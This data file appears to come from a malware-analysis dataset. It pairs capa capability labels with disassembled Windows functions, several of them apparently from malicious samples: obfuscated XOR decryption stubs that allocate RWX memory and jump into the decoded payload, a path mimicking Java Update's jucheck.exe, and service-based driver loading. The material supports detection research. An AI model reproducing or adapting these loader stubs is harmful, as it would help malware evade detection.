joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e9b9
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x238]
sub esp, 0x2b8
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x234], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp + 0x2c]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp + 0x2c]
push eax
push esi
push esi
push 0x2c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x40ea14
xor eax, eax
mov ecx, dword [ebp + 0x234]
xor ecx, ebp
pop esi
call fcn.0040ffe6
add ebp, 0x238
leave
ret
xor eax, eax
push ebx
mov word [ebp + 0x10], ax
push edi
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp + 0x10]
mov dword [ebp + 0x24], 7
mov dword [ebp + 0x20], esi
call fcn.0040f362
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.004213a7
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x22
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x10]
push 0x22
push eax
call fcn.0040f585
add esp, 0xc
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.004213a7
add esp, 0xc
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00410610
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 8], 8
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x40eaae
lea eax, [ebp - 0xc]
cmp dword [ebp + 8], 8
mov edx, dword [ebp + 4]
lea eax, [eax + edx*2]
jae 0x40eabd
lea ecx, [ebp - 0xc]
push dword [ebp - 0x2c]
mov dword [ebp + 0x1c], esi
push eax
push ecx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x20], esi
mov dword [ebp + 0x24], esi
call fcn.0040f604
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 0x2c], esi
call fcn.0040f30c
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x40eaee
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push esi
push esi
push 0x8000000
push ebx
push esi
push esi
push dword [ebp + 0x1c]
push eax
call fcn.0040b3a3
add esp, 0x28
test eax, eax
jne 0x40eb37
xor edi, edi
lea ecx, [ebp + 0x1c]
call fcn.0040eea9
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.0040ec7c
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.0040ec7c
mov eax, edi
pop edi
pop ebx
jmp 0x40e9fe
mov edi, ebx
jmp 0x40eb12

Function at 0x40ffe6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43cddc]
jne 0x40fff0
repz ret
jmp fcn.00417613
Function at 0x4213a7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x4213b6
pop dword [ebp - 0x38]
mov eax, 0x4213b6
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xda14fcf2
sub dword [ebp - 0x48], 0x8bc2b7a7
mov dword [ebp - 0x44], 0xcd1c6738
sub dword [ebp - 0x44], 0x9ae91af3
mov dword [ebp - 0x40], 0x84cfb72e
sub dword [ebp - 0x40], 0x38837300
mov dword [ebp - 0x3c], 0xf57c73b1
add dword [ebp - 0x3c], 0xa838c4f
lea eax, [ebp - 0x48]
push eax
mov eax, 0xe196571a
sub eax, 0xe15375c2
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x1c053ce2
add dword [ebp - 0x48], 0x586d2c74
mov dword [ebp - 0x44], 0xcb457760
sub dword [ebp - 0x44], 0x89d915eb
mov dword [ebp - 0x40], 0x63cec3c2
add dword [ebp - 0x40], 0xffa0a8aa
mov dword [ebp - 0x3c], 0xdbf748fc
sub dword [ebp - 0x3c], 0xdbf748fc
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x1b42534c
add eax, 0xe5008cc8
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x412a6
push 0
call eax
mov ecx, 0x2e1d0504
add ecx, 0xd1e34306
xor edi, edi
add edi, eax
mov esi, 0x6df86c30
sub esi, 0x6db25c30
add esi, dword [ebp - 0x38]
mov ebx, 0x2b81e23b
add ebx, 0x852c03c7
sub dword [ebp - 0x30], 0xea80a77d
mov edx, dword [esi]
sub dword [ebp - 0x20], edx
xor edx, ebx
add dword [ebp - 0x20], 0x98d6aeb9
mov dword [edi], edx
sub dword [ebp - 0x28], edi
add edi, 4
add esi, 0x29b8e05d
add esi, 0xd6471fa7
loop 0x4214d5
add eax, 0x112fb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x4096e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
jmp 0x409789
cmp dword [esi + 0x10], 0x1000
jne 0x409775
test byte [esi + 0x15], 1
jne 0x409775
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409734
cmp eax, 2
je 0x409734
cmp eax, 0x10
je 0x409734
cmp eax, 0x20
jne 0x409749
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409749
mov bl, 1
xor ebp, ebp
jmp 0x40975a
mov eax, dword [esi]
add eax, ebp
call fcn.004096d8
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x40974d
test bl, bl
je 0x409775
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
mov eax, dword [esi + 4]
cmp eax, edi
je 0x40970c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x10005a4a
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x10024050]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x10005aed
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.1001b188
pop ecx
pop ecx
test eax, eax
je 0x10005ad6
test ebx, ebx
je 0x10005aca
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.1001b188
pop ecx
pop ecx
test eax, eax
jle 0x10005ad6
push ebx
call fcn.10006dc1
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.10006da0
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x10005a97
xor edi, edi
cmp ebx, edi
jne 0x10005af1
xor eax, eax
jmp 0x10005b5d
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x10005b20
call fcn.10006dc1
pop ecx
cmp dword [ebp - 0x70], edi
je 0x10005aed
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x10005aed
call fcn.10006dc1
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x10005b10
cmp dword [ebp - 0x70], edi
je 0x10005b53
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.10006da0
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008c61
add ebp, 0x9c
leave
ret
Function at 0x10008c61
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10024050]
jne 0x10008c6b
repz ret
jmp fcn.1000d082

Function at 0x1001b188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001b197
pop dword [ebp - 0x14]
mov eax, 0xf3dca198
add eax, 0x1c250fff
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xeb86fc08
add dword [ebp - 0x24], 0x62cb4943
mov dword [ebp - 0x20], 0x76423567
sub dword [ebp - 0x20], 0x440ee922
mov dword [ebp - 0x1c], 0x7751ea02
add dword [ebp - 0x1c], 0xd4fa5a2c
mov dword [ebp - 0x18], 0xc7e79b90
add dword [ebp - 0x18], 0x38186470
lea eax, [ebp - 0x24]
push eax
mov eax, 0x2ecb7c6f
add eax, 0xe13643e1
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x5d851152
add dword [ebp - 0x24], 0x16ed5804
mov dword [ebp - 0x20], 0xc7a621b8
add dword [ebp - 0x20], 0x79c63fbd
mov dword [ebp - 0x1c], 0x6a170e8d
sub dword [ebp - 0x1c], 0x6a7a221
mov dword [ebp - 0x18], 0xe565baeb
sub dword [ebp - 0x18], 0xe565baeb
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x36419
push 0
call eax
mov ecx, 0x32a0
xor esi, esi
add esi, eax
mov edx, 0x1002aa00
add edx, dword [ebp - 0x14]
mov ebx, 0xac7d6c37
add ebx, 0x9f11b3c2
xor dword [ebp - 0x10], 0x64abe06f
mov edi, dword [edx]
sub dword [ebp - 8], 0x4e9ee550
xor edi, ebx
xor dword [ebp - 4], 0xdfafa24c
mov dword [esi], edi
add esi, 4
add edx, 0x64465c5f
sub edx, 0x64465c5b
loop 0x1001b2aa
add eax, 0xbd53
xor ebx, ebx
add ebx, eax
add eax, 0xbcbe69f8
add eax, 0x4341960d
mov ecx, 0x4ff76d32
add ecx, 0xc00892ce
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x30014af0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x30020490]
jne 0x30016bf1
repz ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x30021d98], eax
mov dword [0x30021d94], ecx
mov dword [0x30021d90], edx
mov dword [0x30021d8c], ebx
mov dword [0x30021d88], esi
mov dword [0x30021d84], edi
mov word [0x30021db0], ss
mov word [0x30021da4], cs
mov word [0x30021d80], ds
mov word [0x30021d7c], es
mov word [0x30021d78], fs
mov word [0x30021d74], gs
pushfd
pop dword [0x30021da8]
mov eax, dword [ebp]
mov dword [0x30021d9c], eax
mov eax, dword [ebp + 4]
mov dword [0x30021da0], eax
lea eax, [ebp + 8]
mov dword [0x30021dac], eax
mov eax, dword [ebp - 0x320]
mov dword [0x30021ce8], 0x10001
mov eax, dword [0x30021da0]
mov dword [0x30021c9c], eax
mov dword [0x30021c90], 0xc0000409
mov dword [0x30021c94], 1
mov eax, dword [0x30020490]
mov dword [ebp - 0x328], eax
mov eax, dword [0x30020494]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x30021ce0], eax
push 1
call fcn.3001ac97
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x30002c70
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x30021ce0], 0
jne 0x30016ce1
push 1
call fcn.3001ac97
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x30014cbf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x30014cce
pop dword [ebp - 0x3c]
mov eax, 0xb8595791
sub eax, 0x88580ac3
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3be27
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x76e61436
add ecx, 0x891a3dd2
mov edi, eax
mov esi, 0xe42ea6f0
sub esi, 0xb42c3ef0
add esi, dword [ebp - 0x3c]
mov ebx, 0x9117d8b0
xor dword [ebp - 0x34], edx
mov edx, dword [esi]
add dword [ebp - 0x2c], ebx
sub edx, ebx
add dword [ebp - 0x34], 0x818023dc
mov dword [edi], edx
xor dword [ebp - 4], esi
add edi, 0xb9f67181
add edi, 0x46098e83
add esi, 0x49eb7872
sub esi, 0x49eb786e
loop 0x30014d22
add eax, 0x13af3
xor ebx, ebx
add ebx, eax
add eax, 0x23798a73
sub eax, 0x23798a6e
mov ecx, 0xc917767c
add ecx, 0x66e88984
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x1007a10c
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 0xc], ecx
jle 0x1007a132
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
movsx eax, byte [ecx + edx]
xor eax, 0xffffff80
shl eax, 0x18
mov dword [esi + ecx*4], eax
inc ecx
cmp ecx, dword [esp + 0x10]
jl 0x1007a11d
pop esi
ret

Function at 0x1007ed43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1007ed52
pop dword [ebp - 0x40]
mov eax, 0x4f2b535
add eax, 0xb15381d
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x41144620
sub dword [ebp - 0x50], 0xf2c200d5
mov dword [ebp - 0x4c], 0x87de023f
add dword [ebp - 0x4c], 0xaa554a06
mov dword [ebp - 0x48], 0x1d12402
add dword [ebp - 0x48], 0x4a7b202c
mov dword [ebp - 0x44], 0xf6beeede
add dword [ebp - 0x44], 0x9411122
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xaebd26bd
add dword [ebp - 0x50], 0xc5b54299
mov dword [ebp - 0x4c], 0x42daf552
add dword [ebp - 0x4c], 0xfe916c23
mov dword [ebp - 0x48], 0x25be9b51
sub dword [ebp - 0x48], 0xc24f2ee5
mov dword [ebp - 0x44], 0x842e7162
add dword [ebp - 0x44], 0x7bd18e9e
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x9917fa7
add eax, 0x676f07d
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x40833
push 0
call eax
mov ecx, 0xda4d238b
sub ecx, 0xda4ccf1c
mov ebx, eax
mov esi, 0x100b9000
add esi, dword [ebp - 0x40]
mov edi, 0x939ca617
sub edi, 0x67860848
sub dword [ebp - 0x14], 0xe15c460f
mov edx, dword [esi]
xor edx, edi
add dword [ebp - 0x1c], edx
mov dword [ebx], edx
add dword [ebp - 0x20], edi
add ebx, 4
add esi, 0xab97b14a
sub esi, 0xab97b146
loop 0x1007ee69
add eax, 0xca9c657d
sub eax, 0xca9b20ee
xor ebx, ebx
add ebx, eax
add eax, 0x217ab6fb
add eax, 0xde85490a
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x40c160
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, 1
imul eax, eax, 0
mov ecx, dword [ebp + 8]
mov byte [ecx + eax + 0x2c], 0
mov edx, dword [ebp + 8]
mov byte [edx + 1], 0
mov eax, dword [ebp + 8]
mov byte [eax + 2], 0
mov ecx, dword [ebp + 8]
mov byte [ecx + 3], 0
mov edx, dword [ebp + 8]
mov byte [edx + 4], 0
mov eax, dword [ebp + 8]
mov dword [eax + 0x20], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x18], 0
mov edx, dword [ebp + 8]
mov dword [edx + 0x24], 0
mov eax, dword [ebp + 8]
mov byte [eax + 7], 0
push 0x100000
call fcn.004297e1
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x1c], eax
push 0xa0
call fcn.004297e1
add esp, 4
mov edx, dword [ebp + 8]
mov dword [edx + 0x28], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x28]
mov edx, 1
imul edx, edx, 0
mov byte [ecx + edx], 0x28
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x28]
mov edx, 1
shl edx, 0
mov byte [ecx + edx], 0x29
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x28]
mov edx, 1
shl edx, 1
mov byte [ecx + edx], 0x2c
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x28]
mov edx, 1
imul edx, edx, 3
mov byte [ecx + edx], 0
mov eax, dword [ebp + 8]
mov byte [eax + 5], 1
mov ecx, dword [ebp + 8]
mov byte [ecx + 6], 0
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx + 0x14], 0
mov eax, 4
imul eax, eax, 0
mov ecx, dword [eax + 0x448340]
not ecx
cmp ecx, 0x51c8da40
jne 0x40c295
mov edx, 4
shl edx, 0
mov eax, dword [edx + 0x448340]
not eax
cmp eax, 0x26b73fe9
jne 0x40c295
mov ecx, dword [ebp + 8]
mov byte [ecx + 5], 0
jmp 0x40c38d
mov edx, 4
imul edx, edx, 0
cmp dword [edx + 0x448340], 0
jne 0x40c38d
mov eax, 4
shl eax, 0
cmp dword [eax + 0x448340], 0
jne 0x40c38d
push 0x439084
mov ecx, dword [0x448364]
push ecx
call fcn.004291c8
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40c325
push 0x400000
call fcn.004297e1
add esp, 4
mov edx, dword [ebp + 8]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0
mov ecx, dword [ebp - 4]
push ecx
push 0x400000
push 1
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
push eax
call fcn.0042aa88
add esp, 0x10
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
mov edx, dword [ebp - 4]
push edx
call fcn.0042a44a
add esp, 4
mov eax, dword [0x448348]
add eax, dword [0x44834c]
mov ecx, dword [ebp + 8]
cmp eax, dword [ecx + 0xc]
ja 0x40c38d
cmp dword [0x448354], 0
jbe 0x40c38d
mov edx, dword [0x44834c]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
add ecx, dword [0x448348]
push ecx
call fcn.0040c430
add esp, 8
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
cmp edx, dword [0x448350]
jne 0x40c38d
mov eax, dword [0x44834c]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
add edx, dword [0x448348]
push edx
call fcn.004267b0
add esp, 8
mov eax, dword [ebp + 8]
mov byte [eax + 6], 1
mov esp, ebp
pop ebp
ret
Function at 0x4122d0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x447400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push edi
mov edi, dword [ebp + 8]
push 0xff
mov dword [ebp - 0x208], eax
lea eax, [ebp - 0x103]
push 0
push eax
mov ebx, ecx
mov byte [ebp - 0x104], 0
call fcn.00429f70
push 0xff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call fcn.00429f70
add esp, 0x18
mov ecx, ebx
push edi
call fcn.00412c00
cmp eax, 1
jne 0x412349
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004287a4
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.dll_GetVersion]
movzx ecx, al
shr eax, 8
and eax, 0xff
cmp ecx, 6
jb 0x41237f
push 8
push str.atillk64
push edi
mov dword [0x4483c0], 0
call fcn.0042b2a0
add esp, 0xc
neg eax
sbb eax, eax
jmp 0x412384
cmp eax, 2
sbb eax, eax
inc eax
mov dword [0x4483c0], eax
push 0x101
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4123e1
lea ecx, [ebp - 0x104]
lea edx, [ecx + 1]
jmp 0x4123b0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4123b0
sub ecx, edx
je 0x4123cd
jmp 0x4123c0
cmp byte [ebp + ecx - 0x104], 0x5c
je 0x4123cd
dec ecx
jne 0x4123c0
dec ecx
js 0x4123e1
dec ecx
mov al, byte [ebp + ecx - 0x103]
mov byte [ebp + ecx - 0x203], al
jns 0x4123d0
push esi
push edi
lea eax, [ebp - 0x204]
push eax
push str._s_s.sys
push 0x4483d0
call fcn.00429873
add esp, 0x10
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push edi
push esi
mov ecx, ebx
call fcn.00412fc0
push 0x4483d0
push edi
push esi
mov ecx, ebx
call fcn.00412280
push edi
push esi
mov ecx, ebx
call fcn.00413000
push edi
mov ecx, ebx
call fcn.00412c00
mov edi, eax
test edi, edi
jne 0x412449
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x208]
mov dword [ecx], eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
pop esi
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.004287a4
mov esp, ebp
pop ebp
ret 8

Function at 0x413040
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x447400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x41307b
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004287a4
mov esp, ebp
pop ebp
ret 8
push esi
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop edi
call fcn.004287a4
mov esp, ebp
pop ebp
ret 8